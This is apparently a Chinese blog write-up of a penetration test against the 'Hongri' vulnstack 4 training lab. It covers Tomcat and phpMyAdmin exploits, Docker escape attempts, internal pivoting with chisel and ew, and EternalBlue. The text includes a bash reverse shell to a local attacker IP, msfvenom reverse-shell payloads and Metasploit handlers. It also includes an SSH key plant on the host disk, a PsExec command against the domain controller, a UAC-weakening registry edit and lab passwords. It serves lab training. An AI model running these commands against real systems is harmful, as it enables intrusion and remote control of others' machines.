红日靶场4渗透记录(上)
0 前言
后面的失败了,看到第4节结束就差不多了,靶场可能有点问题
1 环境搭建
最近红日靶场官网寄了,若想下载靶场镜像请私聊我
解压后是三个容器,web,dc,win7。按理来说我们只需来到vmware界面选择导入虚拟机就可以,但是这次选择该选项后是需要自动创建虚拟机的,要选一个空间稍大的一点的目录(默认是文档目录),大概装完后有这么大:
可见需要预留至少45G空间吧
逐个导入后逐个开启,查看下账号密码有没有问题(红日靶场2的密码有时候会错)
ubuntu: ubuntu
win7 douser: Dotest123
DC: administrator: Test2008 修改为Qwer1234
随后配置网络,DC,win7需要一张自定义的虚拟网卡,ubuntu作为DMZ区需要一张自定义的虚拟网卡和一张用于与外网通信的网卡(我选择了桥接模式)
这张自定义虚拟网卡必须如下配置,DC已经把内网网段限制死了
随后配置网络,ubuntu选择桥接和虚拟网卡2,其余两个只选择虚拟网卡2,最后互ping检测一下通路,成功就算是大功告成了
紧接着启动web服务,进去ubuntu的docker启动三个容器
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
随后外面访问一下三个容器端口,有服务就算完成
2 外网渗透
2.1 信息收集
介绍这个Arp-scan,这是一款kali自带的一款轻量ARP扫描工具,该工具会自动解析MAC地址,得到对应硬件厂商。由于用的是arp协议,所以还是会快一些
我觉得吧,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度还是比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址。
扫描到主机后,再配合Nmap使用,更加方便。
arp-scan -l
//-l 从网络接口配置生成地址
104是web靶机,105是kali
想用nmap也可以用这个
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.0.1/24
nmap 192.168.0.104
详细信息
nmap -T4 -sV 192.168.0.105
// -sV: Probe open ports to determine service/version info
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25 ((Debian))
但是呢,明显-A参数更好,可以带上poc去扫描,指纹信息更丰富
nmap -T4 -A 192.168.0.104
这时你可以看到structs2的指纹特征(不过点开web界面也可以在title处看到)
2001:struts2
2002:Tomcat (version:8.5.19)
2003:phpmyadmin
2.2 Web
2.2.1 structs
一般是用struct2scan,但是我这里扫不出洞,复现失败
Usage: Struts2Scan.py [OPTIONS]
Struts2批量扫描利用工具
Options:
-i, --info 漏洞信息介绍
-v, --version 显示工具版本
-u, --url TEXT URL地址
-n, --name TEXT 指定漏洞名称, 漏洞名称详见info
-f, --file TEXT 批量扫描URL文件, 一行一个URL
-d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
-c, --encode TEXT 页面编码, 默认UTF-8编码
-p, --proxy TEXT HTTP代理. 格式为http://ip:port
-t, --timeout TEXT HTTP超时时间, 默认10s
-w, --workers TEXT 批量扫描进程数, 默认为10个进程
--header TEXT HTTP请求头, 格式为: key1=value1&key2=value2
-e, --exec 进入命令执行shell
--webpath 获取WEB路径
-r, --reverse TEXT 反弹shell地址, 格式为ip:port
--upfile TEXT 需要上传的文件路径和名称
--uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
-q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出
-h, --help Show this message and exit.
既然是上传文件,直接传冰蝎马,dirsearch扫到有个upload目录,于是决定upload/xxx.jsp这样碰碰运气,但是失败了捏
2.2.2 tomcat
searchsploit tomcat 8.5
searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py
复制到home目录
─$ searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py
Exploit: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
URL: https://www.exploit-db.com/exploits/42966
Path: /usr/share/exploitdb/exploits/jsp/webapps/42966.py
File Type: Python script, ASCII text executable
Copied to: /home/kali/42966.py
桌面双击home目录进去找就行
可以看到这个poc的使用
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
探测一下
python 42966.py -u http://192.168.0.104:2002/
成功后就把poc.jsp传上去了
http://192.168.0.104:2002/Poc.jsp
python 42966.py -u http://192.168.0.104:2002/ -p pwn
成功后入上,kali也会给你个shell
tomcat漏洞汇总:Tomcat漏洞汇总 - 知乎 (zhihu.com)
Put方法写马,看到201成功了,访问/shell.jsp就行
原因是
漏洞的产生是由于配置不当(非默认配置),将配置文件(
conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
2.2.3 phpmyadmin
一看连弱密码都不用爆咱直接进来后台了,版本4.8.1
searchsploit phpmyadmin 4.8.1
searchsploit -m /usr/share/exploitdb/exploits/php/webapps/44924.txt
确实能穿
http://192.168.0.104:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
后面两个是sess文件包含,具体操作那个txt写得很明白
1. Run SQL Query : select '<?php phpinfo();exit;?>'
2. Include the session file :
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
唯一要注意的是这里路径是常见的/tmp/sess_{your token}
3 Docker反弹shell
3.1 判断服务器是否为docker环境
实战中首先需要判断服务器是否为docker环境。
常用的判断方法有两种。
是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件
查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup
3.2 冰蝎的反弹shell
看到y0ng哥哥也用了下冰蝎,咱学一手
冰蝎安装建议直接下冰蝎3.0的,然后要jdk8,没有的自己去下一个,然后找到Jdk8的路径接着xxx/xxx/java.exe -jar Behinder.jar
启动以后,和蚁剑类似添加Url和密码(该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond)
‘
冰蝎在反弹shell这里的功能很丰富
弹个meterpreterkali
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 8877
exploit
点击
成功
3.3 msfvenom 后门
生成msf马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=8888 -f elf >shell.elf
与此同时kali开启新的终端开启监听
msfconsole
use exploit/multi/handler
set lhost 192.168.0.107
set lport 8888
set payload linux/x86/meterpreter/reverse_tcp
run
接着传出来
python -m SimpleHTTPServer 80
由于我这里/usr/bin/python: No module named SimpleHTTPServer
,就是py2没有装SimpleHTTPServer
所以用
python3 -m http.server 80
拿到后,上传
chmod +x shell.elf
./shell.elf
当然这里上传如果没有冰蝎图形化界面的话,可以考虑wget,curl -F的方式
4 Docker逃逸
Docker逃逸漏洞目前已知有
- Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞
- CVE-2019-5736
- emote api 未授权访问
4.1 CVE-2019-5736
先试试CVE-2019-5736
影响版本:
docker version <=18.09.2
RunC version <=1.0-rc6
但是人家没有Poc,所以咱下载一个https://github.com/Frichetten/CVE-2019-5736-PoC
bash -i >& /dev/tcp/192.168.0.107/8877 0>&1
就是反弹shell的命令
然后需要在配置特定环境变量的情况下使用Go编译,然后忽然发现kali没go
sudo apt-get update
sudo apt install gccgo-go
sudo apt install golang-go
接着
source /etc/profile //配置go环境
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go //编译生成
注意这个source是临时设置的环境变量,随着新的终端的出现而消失
咱熟悉下meterpleter的使用
msfconsole常用命令 - 简书 (jianshu.com)
上传文件命令upload file
upload /home/kali/Desktop/CVE-2019-5736-PoC-master/main
进入终端
shell
之后加权限运行,还有重启docker
但最后果然遇到和y0一样的问题
表面成功(其实只是重写了sh)但是没有返回shell
成功效果如下图(借来的图)
4.2 特权模式—privileged+ssh 免密码 逃逸
一句话描述就是:利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
4.2.1 挂载磁盘
所以第一步是挂载,何为挂载呢:这里的挂载指的就是将磁盘分区挂载到文件系统的层级结构中,用户可以访问层级结构中的对应路径来对磁盘分区进行读取访问。
fdisk -l
//查看磁盘挂载情况
可以看到 sda1
在/dev/sda1
不熟悉磁盘挂载的可以看这个linux 磁盘挂载 - 知乎 (zhihu.com)
mkdir /cyshack //新建目录
mount /dev/sda1 /cyshack //挂载到新目录
查看是否挂载出去了
如上说明成功,我们可以通过访问/cyshack来访问宿主机的/dev/sda1这块磁盘
4.2.2 生成密钥
ssh-keygen -f cyshack
chmod 600 cyshack //对cyshack赋权,只有拥有者有读写权限。
注意,生成东西都要记得加权限
我输入了密钥:thai
生成cyshack和cyshack.pub
4.2.3 写入密钥
一般来说用户目录下就有相应的.ssh目录
cp -avx /cyshack/home/ubuntu/.ssh/id_rsa.pub /cyshack/home/ubuntu/.ssh/authorized_keys
// -avx 将权限也一起复制
echo > authorized_keys //将内容清空
echo ‘kali生成的.pub内容’ > authorized_keys //将ssh秘钥写入
4.2.4 免密登录
之后
ssh -i cyshack ubuntu@192.168.0.106
此时,可以利用自己的私钥进行免密码登录目标宿主机
但是我复现失败了,就直接ubuntu连了
5 内网渗透
弹个shell先
传shell.elf,加权限
监听,运行,成功
5.1 内网路由
其余三个网络是docker 内网地址
看到了内网地址,可以添加路由(可以run autoroute -help看提示)
run autoroute -s 192.168.183.0/24
但是我下面这张图用了下面的错误命令,路由ip段错了
run autoroute -s 192.168.0.0/24
挂代理(这个可以参考我以前写的博客)
use auxiliary/server/socks_proxy
show options
set version 4a
run之后会出现 starting... ,jobs可以查看当前代理任务,如果出现stoping...,可以尝试更改 SRVHOST配置 或者 修改如下配置文件
如果proxychains配置终端代理出现问题 修改一下文件
切记打开的是/etc/proxychains4.conf
(这个因人而异吧)
vim /etc/proxychains4.conf
//root打开才能修改
最后面那行改为socks4 127.0.0.1 1080
改好后run
这样就开启socket代理了,
之后使用proxychains+cmd 这条命令,可以实现 使用代理执行命令(通过这个1080端口转发你本机的流量到shell上发出)
如果你一不小心和我一样代理的路由ip写错了,如何回去修改呢
首先要回到meterpreter,重新run一下之前的run autoroute -s 192.168.168.0/24
回到meterpreter
sessions -l //查看当前存活的sessions
sessions -i num
//sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
接着background回到msf,这时候直接run代理会显示被一个job占用,如何删掉该Job呢
jobs
kill id
可以看到重新开起来了
5.2 内网扫描
之后使用proxychains+cmd 这条命令,可以实现 使用代理执行命令(通过这个1080端口转发你本机的流量到shell上发出)
proxychains nmap -Pn -sT 192.168.183.130
扫到啥呢:139,135,53,445
我的129靶机挂了,咱们先130
445容易想到永恒之蓝系列
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run
图中这个rhost可以有这几种形式的写法
set rhosts 192.168.183.129
set rhosts 192.168.183.129-130
set rhosts 192.168.183.0/24
至于这个setg Proxies socks5:192.168.0.107:1080
要不要设置,只能说最好要(但是有时候不设置也可以,估计是自动开代理了)
use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:192.168.0.107:1080
set ReverseAllowProxy true
set rhosts 192.168.183.130
set lport 4567
run
5.3 进攻win2008尝试
理论上前面有域控信息收集之类的
效果
setg Proxies socks5:192.168.0.107:1080
Proxies => socks5:192.168.0.107:1080
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.183.130
rhosts => 192.168.183.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4567
lport => 4567
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[-] 192.168.183.130:445 - Exploit failed: RuntimeError TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
失败告终
5.4 进攻win7
5.4.1 直接挂4a代理进攻
扫描的时候扫到了
131就是了
use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks4a:192.168.0.107:1080
set ReverseAllowProxy true
set lport 4567
run
然后这里继续失败踩坑,怀疑是代理的问题了,因为已经能打到445端口了,但是连不上去
5.4.2 使用sockets5
5.4.2.1 ew
下个ew
upload ~/Desktop/ew-master/ew_for_linux64 /home/ubuntu
咱重开一遍,重新反弹ubuntu的shell给kali:
msfconsle
use exploit/multi/handler
set lhost 192.168.0.107
set lport 8888
set payload linux/x86/meterpreter/reverse_tcp
run
先ssh上ubuntu,执行
nohup ./shell.elf &
这样就可以把该进程挂后台了,不会挡在终端这,因为后面还要用这个终端(尝试过另一个ssh连上去,失败,只能这样)
这个[1] 7463
是pid
chmod 777 ./ew_for_linux64
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
kali改下
vim /etc/proxychains4.conf
配置路由
run autoroute -s 192.168.183.0/24
run autoroute -p
挂代理
use auxiliary/server/socks_proxy
run
扫活
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
ms17-010进攻win7
use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:192.168.0.107:1080
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
set AutoRunScript post/windows/manage/migrate
run
然后探测得到但是反弹连不上
换个使用方法
本地配置一下
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
kali
nohup ./ew_for_linux64 -s rssocks -d 192.168.0.107 -e 1234 &
也是不行
5.4.2.2 chisel
直到我找到一篇文档(37条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(四)_Ys3ter的博客-CSDN博客
拿ew做socks代理时候msf一连就断,没法执行命令,换成chisel就好了
Release v1.7.7 · jpillora/chisel · GitHub
upload ~/Desktop/chisel_/linux_amd64/chisel /home/ubuntu
使用方法类似
ubuntu
chmod 777 chisel
./chisel server -p 8888 --socks5
kali
./chisel client 192.168.0.105:8888 socks //跳板机的公网ip
这里其实也是用1080的,8888是开在跳板机上的,很好理解,就是本机的流量全部用127.0.0.1:1080对外发送,发送到跳板机192.168.0.105:8888的代理上
用proxychains测试了下,可以是可以(注意proxychain只能转发tcp流量,ping就用不了)
而我106(本机)监听到的的确是来自ubuntu的ip,就说明是代理转发了
use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:127.0.0.1:1080
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
run
注意用的直连bind_tcp
5.5 win7上面工具的使用
5.5.1 Psexec的使用
(37条消息) PsExec的使用_平凡的学者的博客-CSDN博客_psexec使用命令
简单来说是远控软件,使用如下
psexec64.exe \\192.168.183.130 -u administrator -p Qwer1234 cmd.exe /c "net user"
这样就控制了DC
5.5.2 artifact.exe的使用
是cs的后门文件
(37条消息) 渗透测试神器CS(4.0)的使用_世间繁华梦一出的博客-CSDN博客_cs渗透测试
报错
RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
https://www.cnblogs.com/adsry/p/12904057.html
也可以直接在win7跑下面这个(应该要管理员)
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
如果报错
无法创建值写入注册表时出错 win7
xs,最后失败了,我根本没有管理员